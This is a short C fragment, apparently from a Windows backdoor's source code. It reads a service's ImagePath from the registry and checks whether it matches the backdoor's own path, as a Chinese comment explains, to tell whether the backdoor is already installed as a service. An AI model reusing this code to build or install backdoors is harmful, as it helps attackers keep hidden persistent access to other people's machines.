if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS ) 
{ 
//printf( "RegOpenKeyEx Error: %d\n", GetLastError() ); 
return FALSE; 
} 
if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS ) 
{ 
//printf( "RegQueryValueEx Error: %d\n", GetLastError() ); 
return FALSE; 
} 
if( key ) RegCloseKey( key ); 
// 如果服务的程序路径等于后门本身,表示已经安装 
if( 0 == _wcsicmp( value, path ) ) 
{ 
return TRUE; 
} 
return FALSE; 
}